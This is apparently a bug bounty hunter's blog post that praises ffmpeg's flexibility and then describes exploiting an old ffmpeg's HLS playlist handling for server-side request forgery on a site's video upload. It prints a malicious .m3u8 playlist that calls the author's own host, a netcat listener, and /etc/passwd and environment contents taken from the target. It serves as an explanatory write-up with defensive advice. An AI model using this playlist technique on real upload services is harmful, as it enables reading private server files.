What’s the most frustrating thing in computing? For me it’s when a computer tells you what you can and can’t do. Computers are tools, tools should not be opinionated. Imagine trying to unscrew a cross-head screw with a flathead screwdriver (which is doable), only to have the screwdriver shout “This is not my type of screw” and refusing to unscrew it. With a mindset like this, it is not surprising that I preffer to use GNU/Linux as my Operating System.
In GNU/Linux everything is a file. And every part of the system can be configured to your heart’s content by editing text files. This gives you unlimited freedom to do anything, even things that are blatantly stupid or useless. You can even play russian roulette anytime you issue a command.
Of course if you have unlimited freedom you also need to know what you’ re doing, at least to some extent. Thankfully, there is no need to even have an internet connection to learn how things work, just open up a terminal and type man command
and the manual for command
will appear so you can RTFM. If man
pages scare you, there is also a tldr
package in most GNU/Linux distributions which does what it says (as it is common with GNU/Linux programs): it gives you the tldr of the man page.
This post is about ffmpeg and how some developers who don’t realise this philosophy of ultimate freedom made it possible to exploit a quirk it has. You can (and should) man ffmpeg
as it is an awesome program but even if you haven’t heard of it you can keep reading and understand some basics about it. Or you can skip some paragraphs and read about the exploit.
~$whatis ffmpeg
Let’s check the first paragraph from the man
page:
ffmpeg is a very fast video and audio converter that can also grab from a live
audio/video source. It can also convert between arbitrary sample rates and
resize video on the fly with a high quality polyphase filter.
Say you have a .mp4 file but you need an .avi file. Why open up a graphical video editing application that will take for ever to load, just to do this simple task? You can just
ffmpeg -i file.mp4 file.avi
from the comfort of your command line.
On a similar note, let’s say you recorded a video of yourself but you made a mistake in the intro, so you started over. Then you did your thing flawlessly (congrats you awesome human being) but there are a few seconds in the end where its just you stopping the recording and no one needs to see that. To fix this you would need to load the file in a new project on your video editor, trim the start and the end and then export the project, re-encoding it again. Or you could run:
ffmpeg -ss 00:00:23.000 -i vlog.mp4 -t 00:05:45.000 -c copy trimmedVlog.mp4
Of course you could also re-encode the file if you wish, that’s what the -c
flag is for. Here we use copy
as we want to copy the encoding from the original file.
More importantly, the second paragrpah of the man
page states:
ffmpeg reads from an arbitrary number of input "files" (which can be regular
files, pipes, network streams, grabbing devices, etc.), specified by the "-i"
option, and writes to an arbitrary number of output "files", which are specified
by a plain output url.
Notice the ""
? Remember how everything is a file? This includes the stream of your webcam (the “file” /dev/webcam0 for example), your monitor, a streaming service over the internet…You can use any of those as an input “file” and a “regular” file as an output, essentially recording/capturing the input. You can even set the output “file” to a network adress, so that basically you ’re streaming live, using only ffmpeg! Actually, the most common program that streamers use to stream on twitch, youtube, etc, a programm called OBS, is basically just a GUI wrapper arounf ffmpeg.
So, to sum up, our good friend ffmpeg can basically do anything and everything video (and audio) related. What happens if we use an input file that is not even a video though?
First of all it will not complain. Why would it? It’s an awesome little program and awesome programs assume you know what you ’re doing (as you should). Besides, there are cases where you need to do so.
For example, adding a watermark:
ffmpeg -i input.mp4 -i logo.png -filter_complex \ "overlay=(main_w-overlay_w)/2:(main_h-overlay_h)/2" \ -codec:a copy output.mp4
Here we pass our logo in png format as one of the inputs and we use the overlay filter to, well, overlay it on top of our video.
Or we might want to hardcode subtitles (a text file) in a movie:
ffmpeg -i file.mp4 -i subs.srt -c copy -c:s mov_text subbed.mp4
Or, say we want to make a slideshow with a voice-over:
cat *.jpg | ffmpeg -framerate 0.25 -f image2pipe -i voice.mp3 -acodec copy - out.mp4
Yes, we are cat
-ing images and piping them to ffmpeg
. This is the UNIX philosophy, no need for complex programs, just chain simple programs and hack together a simple, efficient and elegant solution that kind of looks like magic. If that’s not awesome, I don’t know what is.
Enough with your GNU/Linux propaganda! I was promised a 1337 exploit! I want to read /etc/passwd already!
Ok, ok. So I was hacking on a target. Users of the target are able to upload video files on their profile that other users can watch. Of course, since there is some sort of conversion bound to happen server side, you can bet they ’re using ffmpeg on the backend. I started googling to find out how this could be exploited and I found some excellent research by Zero Nights. By reading this and googling a bit more I found out that older versions of ffmpeg are vulnerable to SSRF when processing HLS files, so I created a malicious .m3u8 file to see if that was the case here. Essentialy, .m3u8 files are playlists, text files with an XML-like syntax pointing at short chunks to be downloaded. So I created a file with the following contents:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
https://chilikeys.com:8889/ssrf.mp4
#EXT-X-ENDLIST
and uploaded it to my profile. This tells ffmpeg that the playlist contains a file named ssrf.mp4 and where to grab it from. Which it happily did! I had a listener set up with
nc -lvp 8889
and I got the following response:
54.xxx.xxx.xxx - - [02/Jan/2018:011:25:48 +0000] "GET /ssrf.mp4 HTTP/1.1" 404 233 "-" "Lavf54.29.104" "-"
From the ip I could understand that this was an amazon ec2 instance. Each time I tried, the callback came from a different ec2 instance. The string ‘Lavf54.29.10` is the User-Agent of the request, and in this case, since this is ffmpeg, it is the libavformat, basically the library, that this particular build of ffmpeg uses. By looking up old versions of ffmpeg on their site I was able to determine that this was ffmpeg 1.0.10, codenamed “Angel”. So we have “angelic” SSRF, cool!
SSRF? What is that?
SSRF stands for Server Side Request Forgery. Basically it’s when an attacker can make a victim server issue requests on their behalf. It is a tricky vulnerability class because that can be intended functionality sometimes (not here of course). Also, the attacker would need some way to make this impactful. Just getting pingbacks on your server doesn’t really harm your victim. Moreover, in this case and so far, the attacker can’t see the response, that’s why this is called Blind SSRF. A lot of novice bug bounty hunters get excited by finding something like this and go ahead and report it, only to have it closed as Informative. What you should do is dig deeper. Perhaps you can exfiltrate data somehow,or achieve remote code execution on the server, or port scan internal network hosts (an open port will give you a pingback, a closed one will timeout).
In this case there are a few ways to try and exfiltrate data, mentioned in the Zero Nights paper I linked above. Instead of trying them one by one, though I opted to not reinvent the wheel and use this script that I found while I was researching this which is basically a .avi file with an embedded payload pointing to your ip and a listening server. The server responds to the ffmpeg requests with an apropriate .m3u8 playlist, exfiltrates the file you want (in this case /etc/passwd) and saves the output in a text file with a random string prepended.
After uploading the malicious video file I got a ton of requests, then I pressed Ctrl+C to stop the server and saw a bunch of these files in the working directory. The contents of the file were similar to this:
~$ cat 91471c369d0bba01____etc_passwd
root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool
Since these were ec2 instances I also fetched /etc/proc/environ and got this:
~$ cat 95e8ed41f6208562____proc_self_environ
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=552314b73dc99IS_DOCKER=1HOME=/root
So these are basically docker containers, which I assumed were used for video converting. This significally lowers the impact but still, pretty sweet!
Where is my bounty????
At the time this was the most significant bug I had ever found so I was very excited. I reported it only to get a response that video processing and storing was handled by a third party company, so no bounty :( I visited that company’s site and even though I had never heard of them, I recognised a lot of their clients: entertainment and news channels, media outlets, most of them were major brands with household names. I tried to contact them to make them aware of this issue but they never responded, not even with a thank you. Sadly, even though more and more companies get more and more conscious about cybersecurity, there are still a lot of major companies that just don’t care, or don’t understand the slightest thing about it. Thankfully these are getting less and less by each passing year.
So I didn’t get a bounty. However, I got something way more valuable: knowledge! Now everytime I see a video upload function on a target I make sure to try this. And what do you know, not much later I found the same issue on a different target, and got a bounty as well :)
What are the takeaways of this story?
- ffmpeg is awesome and powerful. With great power comes great responsibility though.
- When files are being handled by a web server, especially if they change from one type to another or are being transformed in any way, magical things can happen (like someone reading your files by uploading a video) and they often include SSRF.
- Install those updates. Yes I am talking to you, I can see you over there in front of your screen. As soon as you finish reading this go update your stuff.
- Hackers are going to hack stuff. The adrenaline trip of doing what you’re not supposed to do on someone else’s computer is, well, a trip for us, one like no other. Not all of them are supervillains though, only a few. Most of them just want to help make the web a safer place and that helps you and your users in the proccess.
- I don’t like lists with 4 items :P
That’s all folks! See you next time and as the SLIME REPL tells me from time to time when I open it: